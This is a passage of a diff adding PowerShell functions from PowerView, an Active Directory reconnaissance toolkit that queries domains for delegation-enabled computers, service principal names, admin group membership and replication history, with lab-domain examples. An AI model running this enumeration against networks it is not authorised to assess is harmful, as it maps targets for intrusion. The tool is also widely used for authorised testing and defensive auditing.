-Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } + } + $CompSearcher.dispose() + } + } +} + + +function Get-DomainObject { +<# +.SYNOPSIS + +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainObject -Domain testlab.local + +Return all objects for the testlab.local domain + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } + } +} + + +function Get-DomainObjectAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory attribute replication metadata for the specified +object, i.e. a parsed version of the msds-replattributemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. +This is the domain attribute replication metadata associated with the object. The results are +parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAttributeHistory -Domain testlab.local + +Return all attribute replication metadata for all objects in the testlab.local domain. + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft + +ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat + e ingChange ingDsaDN +-------- ---------- ------------ ------------ ------- ------------ +CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... +CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... +CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... + +.EXAMPLE + +Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl + +ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local +ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb +AttributeName : userAccountControl +LastOriginatingChange : 2017-03-07T19:56:27Z +Version : 4 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replattributemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Get-DomainObjectLinkedAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory links attribute value replication metadata for the +specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. +This is the domain linked attribute value replication metadata associated with the object. The +results are parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a + +Count Name +----- ---- + 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local + 4 CN=Users,CN=Builtin,DC=testlab,DC=local + 2 CN=Guests,CN=Builtin,DC=testlab,DC=local + 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local + 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local + 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local + 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local + 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local + 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local + 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local + 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local + 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... + 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... + 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local + 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local + + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory + +ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-06-13T22:20:02Z +TimeCreated : 2017-06-13T22:20:02Z +LastOriginatingChange : 2017-06-13T22:20:22Z +Version : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local + +ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local +ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 +AttributeName : member +AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local +TimeDeleted : 2017-04-10T22:17:19Z +TimeCreated : 2017-04-10T22:17:19Z +LastOriginatingChange : 2017-04-10T22:17:19Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectLinkedAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectLinkedAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + 